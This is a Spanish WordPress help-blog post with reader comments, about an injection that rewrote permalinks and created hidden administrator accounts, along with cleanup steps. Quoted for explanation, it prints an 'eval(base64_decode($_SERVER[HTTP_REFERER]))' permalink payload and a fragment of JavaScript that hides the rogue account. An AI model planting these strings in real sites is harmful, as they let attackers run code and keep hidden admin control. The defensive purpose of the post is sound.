Permalinks cambiados a «eval(base64_decode($_SERVER[HTTP_REFERER]»

sqlinjection

Durante el día de hoy hubo epidemia de un problema bastante curioso y preocupante. Varios usuarios han informado de un error mediante el cual todos los enlaces de sus blogs se convertían a un permalink que daba errores, en algunos casos incluso siendo detectados como virus por el software antivirus instalado en los ordenadores de los visitantes. A mi me avisó Manuel Ángel Fernández.

Más o menos lo que pasaba es que los permalinks pasaban de esto:

http://miblog.com/mi-post/

a esto otro:

http://miblog.com/mi-post/${eval(base64_decode($_SERVER[HTTP_REFERER]))}

o parecidos. Por supuesto, tales permalinks daban error, no mostrando nada al visitante.

Pues bien, esto es debido a una inyección MySQL que afecta a varias versiones de WordPress (incluida la actual), mediante el cual se pueden crear usuarios con capacidades de Administrador y hacer lo que quieran con tu sitio. Lo peor es que es complicado de verlo hasta que no te lo encuentras así.

El síntoma más claro, además del cambio de permalinks, es ir a la gestión de usuarios y fijarte si el contador de Administradores muestra un número mayor de los que en realidad hay y puedes ver en la lista. Sorprendente, pues da igual si permites registros o no en tu WordPress, se cuela.

Dirás entonces ¿y como borro un administrador que no veo ni puedo editar?. Afortunadamente se puede, pues ese administrador fantasma tendrá un ID de usuario posterior al último número de ID de usuario que veas (por orden de registro).

Digamos que, por ejemplo, el último usuario registrado, al poner el ratón sobre el enlace para editarlo, muestra esta URL:

http://miblog.com/wp-admin/user-edit.php?user_id=4&wp_http_referer=%2Fwp-admin%2Fusers.php

Para editar el administrador fantasma copias esa URL y le subes un número al ID mostrado. O sea …

http://miblog.com/wp-admin/user-edit.php?user_id=5&wp_http_referer=%2Fwp-admin%2Fusers.php

Te encontrarás editando un usuario que no veías y que, ¡sorpresa!, es administrador y tiene un nombre cuando menos extraño, lleno de codigos …

administrador fantasma

El nombre, como podrás ver, es código nada benigno:

... <div id="user_superuser"><script language="JavaScript"> var setUserName = function(){ try{ var t=document.getElementById("user_superuser"); while(t.nodeName!="TR"){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName("H3"); var s =************ </script></div>

Normalmente no tiene email, le añades un email ficticio al perfil y le degradas a Suscriptor (luego lo borras si quieres, desde aquí o desde la base de datos). Con ese paso ya ha perdido sus derechos de hacer lo que quiera en tu blog, pero el problema no está solucionado, por supuesto.

Como puedes imaginar, lo siguiente que hay que hacer es devolver los permalinks a su estado original, pues estarán cambiados en la página de configuración de Enlaces permanentes. Los cambias de …

/%year%/%monthnum%/%day%/%postname%/%eval(base64_decode($_SERVER[HTTP_REFERER]

a tus permalinks, por ejemplo …

/%postname%/

Con esto ya funciona tu sitio correctamente, pero la amenaza sigue.

Hasta que haya una actualización que solucione esto (y si hay solución permanente la desconozco), te recomiendo actualizar a la última versión (no garantiza nada pues está pasando en WordPress con la 2.8.4), cambia todas las claves de administrador y, sobre todo, de la base de datos de tu WordPress, comprueba que los ficheros «index.php» vacíos de tus carpetas (wp-content, etc) realmente están vacíos y no contienen código adicional, comprueba si hay archivos que no deberían estar en tu instalación de WordPress, borra o renombra el fichero xmlrpc.php pues parece ser el principal culpable de dar entrada al problema, revisa con frecuencia la lista de administradores de tu sitio, y vuelve a cargar una versión limpia de WordPress borrando antes todos los archivos que no sepas que los has cargado tu (como la carpeta wp-content o .htaccess).

Más información:

Para finalizar, te dejo unos enlaces que te ruego revises para blindar lo máximo posible tu instalación de WordPress:

Como limpiar completamene tu sitio si ya ha sido afectado

A grandes males grandes remedios. Si tu sitio ya ha sido infectado puedes estar seguro que pronto lo estará de nuevo a no ser que salga pronto una solución. Si quieres tener ciertas garantías igual es interesante que realices una operación de limpieza profunda:

  1. Exporta todo tu contenido mediante la utilidad de exportación de WordPress y guarda la carpeta wp-content así como cualquier otra que utilices de modo manual. Revisa tu theme y carpetas de uploads, etc, antes de darlos por seguros.
  2. Cambia todas las contraseñas: ftp, base de datos. Usa contraseñas fuertes, usando caracteres alfanuméricos y símbolos
  3. Como el problema afecta a la base de datos hay que descartarla. Borra la actual y crea una nueva
  4. Borra todo el contenido de la instalación actual de WordPress (recuerda que antes has hecho backup)
  5. Instala un WordPress limpio (última versión), usando la información de la nueva base de datos recién creada
  6. Carga tu carpeta wp-content de nuevo, una vez comprobado que todo está limpio
  7. Importa los posts de tu sitio que exportaste con la utilidad de importación de WordPress
  8. Configura tu WordPress de manera segura siguiendo las instrucciones de los enlaces facilitados

Actualización:
Nos comenta Alex que en el trac está identificado el problema hace tiempo, desde la versión 2.7.1, y que el bug, relativo a llamadas «eval» está corregido en la versión 2.8.5, disponible en el trunk, o descargando y sustituyendo los ficheros classes.php y rewrite.php, o haciendo manualmente los cambios en estos archivos como se indica aquí.

Novedades:
He comprobado en varios sitios que el intruso puede actuar de varias maneras. En algunos casos no está cambiando los permalinks a «eval(base64_decode($_SERVER[HTTP_REFERER]» o similares, sino que pone – por ejemplo – los permalinks por defecto.

También revisad no solo el número de ID de usuario inmediatamente superior al que veáis. Si aún se muestra un número de administradores superior al de perfiles de admin que veis ir añadiendo números a la URL de editar usuario hasta que deis con el intruso; en algunos casos estoy viendo que se añade con IDs de usuario aleatorios, no precisamente el siguiente al existente.

VALORA Y COMPARTE ESTE ARTÍCULO PARA MEJORAR LA CALIDAD DEL BLOG…
(1 votos, promedio: 5)

¿Te gustó este artículo? ¡Ni te imaginas lo que te estás perdiendo en YouTube!

AVISO: Esta publicación es de hace 3 años o más. Si es un código o un plugin podría no funcionar en las últimas versiones de WordPress, y si es una noticia podría estar ya obsoleta. Luego no digas que no te hemos avisado.

44 comentarios en “Permalinks cambiados a «eval(base64_decode($_SERVER[HTTP_REFERER]»”

  1. Pingback: Bitacoras.com

  2. Por miedo, no pondré el link a mi web acá. Hoy a un amigo le ocurrió. Lo que hice fue que entré a usuarios, a admins, vi el código fuente y me encontré con el usuario falso. Tiene un link para editar su cuenta, le puse un email y lo borré.

    Ya le escribí a Matt pero no me ha respondido. ¿En el trac de WordPress no han puesto nada?

    alex.

  3. Lo peor es que afecta incluso a la versión actual. Yo lo he visto funcionando en instalaciones de 2.7.1, donde he tenido que limpiar unos cuantos, pero consta que con la versión actual también pasa.

  4. Mi comentario en moderación?

    Bueno, en fin, creo que debería reportarse este problema, espero que en unas horas esté arreglado.

  5. He estado metiéndome en ciertos foros y por lo visto en WordPress 2.8.4 no debería funcionar. ¿A alguien le ocurrió en WP 2.8.4?

  6. Lo mejor sería revisar y borrarlo directamente de la base de datos, ahora voy a pegar una mirada a los usuarios por las dudas..

  7. Muchas gracias por la nota. A mi me está pasando desde ayer. Pense que era debido al plugin ALL in…, que modificaba la estructura del permalink, pero ya veo que no. Cambie el permalink, pero hoy estaba de nuevo igual. Efectivamente al renombrar la ID de usuario me sale un tal PeterFurlow que no aparecía antes, sin correo, con un nombre lleno de código. En fin, habrá que cambiar todas las claves de acceso… Yo tenía la 2.8.2
    Gracias de nuevo, esto ha sido realmente revelador. ¿sólo me ha pasado a mi?

  8. rayos, el blog que manejo es uno muy expuesto, porque tenemos admisiones libres. Habrá que aguantar el chaparrón, no más…

  9. Estas seguro que es una sql injection?

    No sera algun plugin?

    De todos sugiero a todos que se bajen hasta lo ultimo de los parches de la (in)estable 2.8.5, hay algunos casting profilácticos por ahi que tal vez sanen el bug.

    Saludos

  10. Pingback: Solucion Permalinks cambiados a “eval(base64_decode($_SERVER[HTTP_REFERER]“ | :: Los Portables ::

  11. Esteban Rojas

    Gracias por la info Fernando, la verdad es que cosas como estas me revientan… a diferencia de algunos que piensan que WP es cada vez más inseguro a mí en cambio me enojan los constantes ataques en contra del CMS de gente que no tiene nada que hacer, pero bueh..

    Por si las dudas ahorita checo mi instalación. Saludos

  12. Mario A . Nú&

    Fernando;

    Muchas gracias por la excelente información. Te pregunto, ¿estás seguro de que afecta la versión actual?

    1. Personalmente no he visto ninguno afectado con la 2.8.4 pero en los foros de soporte de WordPress.org hay usuarios con esa versión que dicen que también les ha pasado, no tengo porque dudar de ellos.

  13. Lo comento por si le pasa a alguien. Al mismo tiempo que me cambiaron los permalinks, me encuentro estos usuarios nuevos, que no pintan bien tal y como cuentan en varios posts ( , ), etc.
    Estos son los que me salen a mi:
    [email protected] (Miriam)
    [email protected] (Mikewink)
    [email protected] (Adrianq)
    ¿alguien tiene más informacion?, ¿tiene algo que ver con el post de Fernando?
    Gracias

    1. Hola, a mi se me fueron registrando esos 3 usuarios a los que hace referéncia Manuel en dias sucesivos durante esta semana:

      [email protected] (Miriam)

      [email protected] (Mikewink)

      [email protected] (Adrianq)

      Los tres como suscriptores, los nombres eran extraños desde luego pero no hice nada con ellos, no he tenido noticias de todo esto hasta leer este post de Fernando. Lo que quería decir es que en ningún momento me ha afectado el tema de los permalinks y ahora tengo mis dudas acerca de en que manera afecta el hack a la 2.8.4.

      Saludos.

      1. YA estoy un poco "mosca" con el asunto, ayer se me apunto al blog un usuario con este mail, [email protected], que tampoco pinta nada bien. Veo en internet que curiosamente se ha apuntado el mismo día y a la misma hora en varios blogs europeos.

        ¿A alguien le suena o le dice algo? Desde que me afectó lo de los permalinks se me apuntaron varios usuarios. 3 eran algo conocido, peroe ste parece nuevo. Al blog no le pasa nada, pero claro, ya tengo la mosca detras de la oreja.

  14. A mí me ocurrió ayer. Vi que había un administrador fantasma, y lo que hice fue eliminarlo directamente de la base de datos, pues no se podía desde el panel de wordpress

  15. Hola

    Gracias por el aviso

    mientras lo leía supongo que se podra borrar de la base de dato, pero imagino que no es tan fácil eliminar este usuario "fantasma"

    otra es que el destrozo que ocasiona es un engorro y devastador

    un saludo

  16. Pingback: Edinson Sabogal | Problemas de seguridad en Wordpress Se …

  17. Pingback: Solución temporal al problema del Administrador Fantasma de WordPress | Sumolari.com

  18. Pingback: Solución temporal al problema del “Administrador Fantasma” | Ayuda WordPress

  19. Una última cuestión. Ataca a la base de datos, pero ¿porqué?, quiero decir, ¿porqué ha entrado en mi bbdd y no en las de otro?, ¿el ataque ¿es aleatorio?, ¿quié es susceptible?, ¿porqué?, ¿qué se ha hecho mal para que entre, o qué no se ha hecho que debería haberse hecho?, ¿cualquiera puede sufrirlo independientemente de su nivel de protección? Este ataque lo produce alguién -que va a port i- (literalmente hablando), o es un mecanismo automático que pulula por ahi y de repentem, ¡zas¡, se cuela en tu base de datos como podría haberse colado en la de tu vecino.. No se si me explico. Bueno gracias. Generalmente es bueno saber el porqué de las cosas independientemente de su solución. Si alguien lo sabe prometo tenelo presente en mis oraciones.

  20. Pingback: Problema grave en Wordpress: Administradores fantasma | Punto Geek

  21. Por suerte no he tenido este problema aún, esperemos que haya una solución definitiva pronto, o si no más de uno se va a llevar un susto.

  22. Pingback: Problema grave en Wordpress: Administradores fantasma

  23. Al leer este artículo se me ha ocurrido una pequeña solución temporal al problema, y he creado un plugin con le cual en teoría se debería poder eliminar a estos usuarios de forma automática.

    Básicamente el método que utiliza para detectar a los Administradores Fantasmas es el siguiente:

    1- Tu estableces el número de Administradores Reales que hay en tu blog en la página de opciones del plugin

    2- El plugin analiza la Base de Datos y cuenta si hay más Administradores de los que has indicado en el paso 1

    3- El plugin te muestra una lista de los posibles Administradores Fantasmas y te permite eliminarlos

    Hay que tener en cuenta que marca como Administradores Fantasmas a los últimos usuarios con permisos de administrador.

    Tenéis más información y la descarga del plugin en mi blog.

    Espero que os sirva para eliminar a los Administradores Fantasmas. De momento no he tenido este problema por lo que no he podido comprobar si realmente borraría las cuentas de Administradores Fantasmas. Las pruebas las he realizado con usuarios con permisos de administrador creados por mí, por lo que supongo que debería funcionar, pero agradecería que me comentaseis si funciona realmente.

    Por supuesto, podéis modificar el código para que detecte y borre mejor a los Administradores Fantasmas y si os funciona bien el plugin, también podéis distribuirlo.

    En fin, espero que os sirva el aporte y que liberen pronto la versión 2.8.5 con el error arreglado 🙂 .

  24. Pingback: Solución temporal al problema del Administrador Fantasma de WordPress « Distro-Geek…

  25. Pingback: Otra solución al Administrador Fantasma | Ayuda WordPress

  26. Pingback: Problema de seguridad en Wordpress | KeysNuevas

  27. Pingback: Permalinks modificados eval(base64_decode($_SERVER[HTTP_REFERER] | 13 Wordpress

  28. Pingback: WordPress, Mediatemple y una inyección de código (5edfgh345) - Daniel Nabil - Mallorca

  29. Hace 3 horas estoy luchando, en mi caso no veo ningún usuario nuevo y he revisado la DB directamente. Un blog se arregló ya ni sé como, pero le eliminé el xmlrpc.php, el htacces y por las dudas hasta el robots.txt con los demás no hay caso, dan ganas de mudarse a blogger la verdad, ya me fumé un atado de Winston… lo peor es que no encuentro nada, los index.php están limpios, no sé, creo será la noticia del día.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

 

Ir arriba Ir al contenido